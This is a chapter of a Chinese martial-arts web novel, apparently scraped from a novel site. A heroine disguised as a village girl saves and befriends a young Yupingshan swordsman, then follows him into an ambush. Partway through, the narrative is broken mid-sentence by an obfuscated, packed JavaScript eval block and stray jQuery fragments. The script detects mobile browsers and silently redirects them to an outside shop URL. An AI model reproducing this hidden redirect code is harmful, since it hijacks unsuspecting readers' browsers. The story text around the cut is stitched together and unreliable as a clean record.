文趣网 > 其他小说 > 江湖行客梦 > 5. 第 5 章
    可惜偏偏有人不识趣打搅她突如其来的感伤。

    打斗声远远地传来,利刃破空的尖锐鸣音刺得她耳朵发疼。

    谢云舒揉了揉耳朵,开始纠结要不要去一探究竟。

    嗯,用不着她纠结了。

    因为那声音恰好来到了她所处的山洞上方。

    “……”

    谢云舒在心底骂了一声,沉浸心神,四周景象通过植物的感知反馈到她的脑海里,让她“看”清楚上方的一幕。

    密密麻麻的绿芒中,两道身影正缠斗在一起,打得难舍难分,不相上下。

    四溢的劲力将周围的树木搅碎,地上满是兵器划过的痕迹,更有一道剑气,直接落在了洞口前方不远处,离谢云舒仅有半步之遥。

    ……。再打下去她的洞就要保不住了。

    谢云舒叹了口气,就在她纠结是否要出手的时候,忽然从一人口中道出的“玉屏山”三个字,让她浑身一颤,神情也带了几分复杂。

    就她愣神的这点光景,那出手的汉子露出破绽,引得玉屏山弟子出击,却不曾想对方竟是故意露出,诱敌深入,他手中的剑打过旋儿,直取玉屏山弟子的命脉。

    两人近在咫尺,玉屏山弟子躲避不及,命悬一线。

    见状,谢云舒也顾不得纠结,扯了一块布把她半张脸遮起来,佯装惊慌地连滚带爬地蹿了出去。

    一边跑着还不忘惊呼:“蛇!有蛇!”

    她的声音来得突然,惊地那人手中的剑慢了一瞬。

    也就是这一瞬间的功夫,玉屏山的弟子反应了过来,避过要害之后,用手中的剑挑起对方的剑,借机反攻。

    那人正想躲,脚下忽然一个踉跄,慢了一瞬。

    剑正好刺入他的心口。

    解决了对手,玉屏山的弟子转过头来,目光警惕。

    “你是什么人?”

    谢云舒跌坐在地,捂着胸口,惶恐道:“蛇!是蛇!”

    像极了一位被吓到有些失常的无辜柔弱女子。

    看她模样,阮青警惕上前走近几步,用剑拨开一侧丛林,正好瞧见盘踞一侧的蛇。

    那蛇仿佛是刚醒一般,晃晃悠悠抬起头,倒竖的蛇眼盯向了阮青。

    他心中升起一股寒意,下意识挥剑,那扑过来的蛇正好缠在剑上,阮青神色一凝,内力顺着手掌涌入剑身,微微一震,锋利的剑气将蛇身撕裂成数截,鲜血落了一地。

    谢云舒不着痕迹往一侧挪了挪屁股,生怕那血溅在自己身上。

    真是有够鲁莽的。

    她在心底默默吐槽。

    “蛇已经死了,你是何人?”

    探究的目光落下,谢云舒忙不迭攥着阮青的袖子感谢道:“多谢大侠救命!”顺手在他袖子上擦了擦刚刚沾了泥土的手。

    不过她做的隐晦,阮青并未发觉。

    “我本住山脚下清溪村,家里的牛跑进了山,我是进来寻牛的。”

    阮青借着搀扶她起来,目光瞧见她手上的薄茧,不似习武之人,心中信了几分。

    也是这时他注意到了眼前人的眼睛似乎有些失神,伸出手在她眼前晃了晃。

    “你的眼睛……”

    谢云舒有些不好意思开口:“我的眼睛不太好,看不清楚东西。”

    阮青皱了皱眉:“那你家人还放心你一个人进山?山上多危险!”

    “……我家就只有我一个人。”

    阮青:“……”

    他张了张嘴:“我帮你找牛吧。”

    谢云舒连连拒绝:“不必麻烦,我自己一个人可以。”她瞎编的,哪来的牛啊,要真让人帮忙找,怕不是要露馅?

    “你眼睛有疾,”阮青抿了抿唇,“一个人在山里很危险,而且如今这山里危险重重,师父说过,遇弱则帮。”

    “你师父人真好。”谢云舒有气无力道。

    两人同行。

    到底是才出门的少年,尚且不知江湖险恶,三言两语间,就被谢云舒不着痕迹的把来龙去脉套了个一清二楚楚,令她想不到的是,阮青的师父居然还是她老熟人。

    大师兄,阮寒衣。

    救人救到自家人头上了。

    谢云舒不由得庆幸自己之前把脸蒙上了,鬼知道眼前的小师侄有没有见过她的画像。

    大师兄是在外游历的时候收的弟子,只写了信告知,不曾想,第一次见面是在她“死”后。

    谢云舒下意识掏了掏口袋,初次见面总该给个见面礼,可翻遍全身,也只掏出了一颗糖。

    她把糖递过去。

    “就当是初次见面的见面礼。”

    阮青明显察觉到眼前人对他的态度亲近了许多,但想不出个所以然,只当是因为自己救了她一命。

    少年没有拒绝,轻声道了声谢,只是有些奇怪,不知道为什么眼前人遮住了面容,想不通也就问了。

    “实在抱歉,我生来面容不佳,前些日子又生了些痘子,只能遮住,以免吓到人。”

    对初次见面的小师侄撒谎,谢云舒总有些不好意思,以至于她的语气里带了几分歉意。

    只是那浅淡的歉意落在阮青眼中,就像是自己掀开了别人的伤疤,连连摆手:“没有吓到!我看书上说有一种鸟,叫鸱鸮,长得极丑,可它的声音,能让整片山林都静下来听。”

    他揉了揉鼻子,真情实意道:“好看的鸟到处都有,但能让山林静下来的,一辈子遇不着几只。就好比皮囊只是外在,善良的内心才是最难得的,何必用外貌来衬托。”

    谢云舒听了轻笑一声:“我们分明第一次见面,你就不怕我骗你?”

    阮青想了想:“不怕。”

    似是怕谢云舒不信,他又补充道:“我的直觉很准的,而且……”他顿了顿,“感觉你很像我的师父。”

    最后一句话说的很轻,但谢云舒一字不漏地听了进去。

    啧,她那不着调的大师兄怎麽教出这么可爱的徒弟的啊,害得她好想上手挼两下。

    一旁笑着的阮青不知看到了什么,神色骤然一变。

    他扭头一脸严肃,从怀里掏出几颗碎银子塞进谢云舒手里:“谢姑娘,在下宗门有要事,恐怕不能陪你找牛了,牛虽重要,但命更重要,三天内,若我在山里遇见了牛,便给你送去,若这三天你不曾等到我,就用这些银子重新买牛。

    “如今山里危险重重,姑娘不要逗留,顺着这条路直行,便能出山,这些时日,莫要随意进山。”

    三言两语叮嘱之后,不等谢云舒反应,就踏着枝叶离去,几息之后,谢云舒便察觉不到他的身形。

    等四周重新归为寂静,谢

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17813563|210962||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    云舒伸出手在周围摸索着。

    一寸又一寸。

    终于,在一棵树上,她摸到了一处凹凸的痕迹,不像是褶皱的树皮,更像是被人用利器划出来的。

    她细细摸着那片纹路,在心底勾勒着形状,末了,她的手一顿。

    那是玉屏山的求救印记。

    在去与不去之间,谢云舒犹豫了整整十息,随后叹着气,原路返回。

    若她什么都不知道,离去自然是最好的选择,可既然知道了,她也做不到视而不见。

    那些人好歹也算是她的晚辈。

    原先藏身的山洞里,谢云舒也放了几套衣物应急,其中有一套宽大的蓑衣,正好能将她全身包裹。

    原是她为了防止哪天进山遇到大雨而准备的。

    谢云舒头一回没有保留的任由植物将它们的感知传递给自己。

    密密麻麻的光点争先恐后钻进她的脑海里,它们看到的、听到的一股脑涌过来,像是骤然钻进了一个喧闹异常的场地,让她不由有些头晕目眩。

    但她紧咬着牙,努力保持着脑海清明,从那些感知中分辨着自己所需的信息。

    终于,她在感知范围的边缘处,感受到了一丝极其淡薄的熟悉气息。

    是与大师兄别无二致的内力。

    谢云舒不再犹豫,内力灌入双脚,身轻如燕,轻飘飘又极为迅速地掠过枝叶,追着气息而去。

    天色愈来愈暗,豆大的雨点落下,起初只是三两滴稀稀疏疏的落下,转瞬便如瓢泼,雨脚骤密,于林间垂落一幕幕雨帘。

    谢云舒赶到的时候,阮青正浑身是血的半跪在地,雨水混着血水落下,在他的脚下晕出一片赤红。

    他的身后,稀稀疏疏有四五人,或立或躺,皆是气息紊乱,显然受了不小的伤。

    反观他们对面十几人,虽然也有几人受伤,但比起阮青一行气息强悍了不少。

    “乖乖交出剑谱,否则小心你们的命。”

    “好一个藏青谷,今日既敢对我玉屏山弟子下手,就不怕来日玉屏山上门讨个公道吗?”

    阮青擦了擦唇角的血迹。

    对面那群人在听到玉屏山的名号时,眼底闪过一丝忌惮。

    “只凭你们几人?就算玉屏山要算账,也得知道是谁动了手,只要把你们都斩尽杀绝,尸体往那深山里一扔,被豺狼虎豹吃的干干净净,谁会知道是我们动的手?”

    为首的青衣男子冷笑一声,话刚出口,原本还有些忌惮的几人便逐渐被贪婪所取代。

    “卑鄙无耻!”阮青身后的一位女子骂道,“若非我们之前就受了伤,岂会中了你们的奸计。”

    “姑娘此话差矣,自古以来,胜者王败者寇,正是我等蒙上天垂怜,才能遇见尔等,可见这点苍剑谱,就该是我们藏青谷得来。”

    青衣男子笑意渐冷,一抬手,杀意毕现。

    “一个不留!”

    阮青咬咬牙,用剑撑着想要站起来,他身后的那些弟子们也没有多说话,拿着武器与他并肩而立,态度不言而喻。

    可他们到底原先就受了伤,几个回合下来,渐露颓势。

    就在弟子们心生绝望以为自己就要交代在这里了的时候,一道雌雄莫辨的声音忽然响起来。

    “真热闹啊,你们是在团建吗?”